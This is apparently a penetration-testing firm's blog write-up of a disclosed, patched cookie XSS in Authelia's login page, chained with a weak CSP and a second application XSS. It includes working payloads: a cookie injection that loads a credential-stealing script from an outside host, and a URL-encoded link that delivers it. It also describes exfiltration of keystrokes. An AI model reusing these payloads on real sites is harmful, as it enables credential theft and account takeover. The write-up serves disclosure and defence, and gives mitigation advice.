During a recent penetration test of a client web application, Stratus Security identified a vulnerability in the way Authelia (v4.39.15) handled its language preference cookie on the login page.
Authelia is an open-source identity and access management solution commonly used to provide authentication, single sign-on, and access control in front of internal and external web applications. In this case, it was deployed as the authentication layer in front of a typical enterprise-style web application with multiple user roles and privilege separation.
At first glance, the issue was not particularly alarming. The language cookie was set on first page load and then later rendered into the login page DOM on subsequent requests, where insufficient sanitisation allowed its value to be interpreted as executable HTML/JavaScript. Setting cookie value to “en-USlxxff”><script>alert(1)</script>y1a7l” shows it being returned in the response body:
On its own it falls into a self Cross-site Scripting (XSS) style condition because exploiting it requires some kind of local access – think shared workstation or public kiosk type environment. But, in this real-world penetration test the security posture of the client’s environment changed the picture entirely.
First problem: Insecurely configured Content-security Policy (CSP)
As shown in the first image above, the Content Security Policy (CSP) protections on the Authelia endpoint had been weakened after the client chose to broadly permit inline JavaScript to accommodate application functionality and third-party front-end dependencies. A more secure approach would have been to explicitly allow only the required scripts using sha256 script hashes or nonces, rather than nullifying the policy with directives such as ‘unsafe-inline’. In isolation the cookie behavior was low impact and unexploitable with Authelia’s default CSP configuration, but within the client’s environment with an ‘unsafe’ CSP configured it became part of a full credential theft chain.
Second Problem: Client’s primary application also vulnerable to Cross-site Scripting (XSS)
The client’s web application contained a unique separate XSS vulnerability, as you can see below:
Because the Authelia authentication service and the client’s primary application were hosted under the same domain, exploitation of the client’s application XSS allowed the Authelia language cookie to be overwritten with a malicious payload that executed on the next login. By chaining these XSS vulnerabilities together, a lower-privileged user could inject a credential-stealing payload into the language cookie and trigger the logout flow to execute it. The bold section below represents the injected cookie payload.
document.cookie = “language=en-US”><script src=”https://10.22.11.10/stealer2.js”></script><meta charset=”utf-8; window.location.href = “https://client-website.tld/logout”
URL encode the JavaScript into a GET request link (example) to abuse the client’s primary application’s XSS:
https://client-website.tld/path/to/vulnerable/endpoint/parameter?123document.cookie%20%3D%20%22language%3Den-US%22%3E%3Cscript%20src%3D%22https%3A%2F%2F10.22.11.10%2Fui.js%22%3E%3C%2Fscript%3E%3Cmeta%20charset%3D%22utf-8%3B%20window.location.href%20%3D%20%22https%3A%2F%2Fclient-website.tld%2Flogout%22
When a higher-privileged user clicks the link, the cookie is set to load the credential-stealing payload and then they’re logged out. This redirects them to the Authelia login page where the malicious JavaScript is loaded from the language cookie:
Here’s an image of the malicious JavaScript PoC (stealer2.js) loaded allowing interception of credentials and keystrokes entered in the login form to exfiltrate it to attacker-controlled endpoint. This ultimately enabled account takeover and privilege escalation within the application.
Here is a screenshot of the attacker controlled endpoint web server logs, showing keystrokes and captured credentials:
What made this particularly notable was not the cookie issue itself, but how it sat within the login page security boundary. Because it was rendered directly into the login DOM, it was uniquely positioned to be triggered via XSS in the client’s primary application, allowing attacker-controlled script execution to carry into the authentication context.
From a technical standpoint, one additional contributing factor was that the language preference cookie was set via client-side JavaScript. This means it is inherently not protected by the HttpOnly flag and can be modified by any JavaScript running within the same origin. While this is normal for UX-driven preference data, it reinforces the importance of treating all such values as untrusted input when they are later rendered into sensitive contexts like authentication pages.
Am I affected?
It is worth emphasising that this configuration was not representative of a default or hardened deployment. The client’s choice to effectively disable their CSP by including ‘unsafe-inline’ directives enabled exploitation of these bugs. This issue would not have been practically exploitable in a properly configured environment with strict CSP enforcement.
The following conditions were required to exploit the Authelia language cookie bug:
- A disabled or misconfigured Content Security Policy
- A separate XSS vulnerability within the main application
- Shared domain trust between application and Authelia authentication service
- The ability for low-privileged users to influence application state that higher-privileged users would later consume
If you’re running Authelia v4.39.15, check that you have a correctly configured Content-security Policy by reviewing the ‘server.headers.csp_template’ setting for unsafe directives. If you have not changed this from the Authelia default then the language cookie bug will not be exploitable. Update to the latest version of Authelia.
Following disclosure during the engagement, Authelia promptly confirmed the issue and implemented a fix. The vulnerability has since been patched and is documented in their advisory: https://github.com/authelia/authelia/security/advisories/GHSA-gmfg-3v4q-9qr4
The most interesting aspect of this issue was not the vulnerability itself, but how it demonstrated the importance of system context. In isolation, it would be easy to dismiss as low severity or even theoretical. In practice, within a misconfigured environment containing real-world application flaws as was discovered within our client’s application, it became a full authentication compromise chain.
This is one of the recurring realities of penetration testing: meaningful risk is rarely the result of a single bug. It emerges when multiple small weaknesses align across trust boundaries, configuration gaps, and application design assumptions.
If you’re interested in having your web application penetrated tested please get in touch.
Joshua Cavalier
25 May 2026 – Updated to clarify the significance of the CSP being downgraded with ‘unsafe-inline’ instead of explicitly allowing required scripts with sha256 hashes / nonces, expanded sections for clarity, and recommendations for users currently using Authelia v4.39.15.
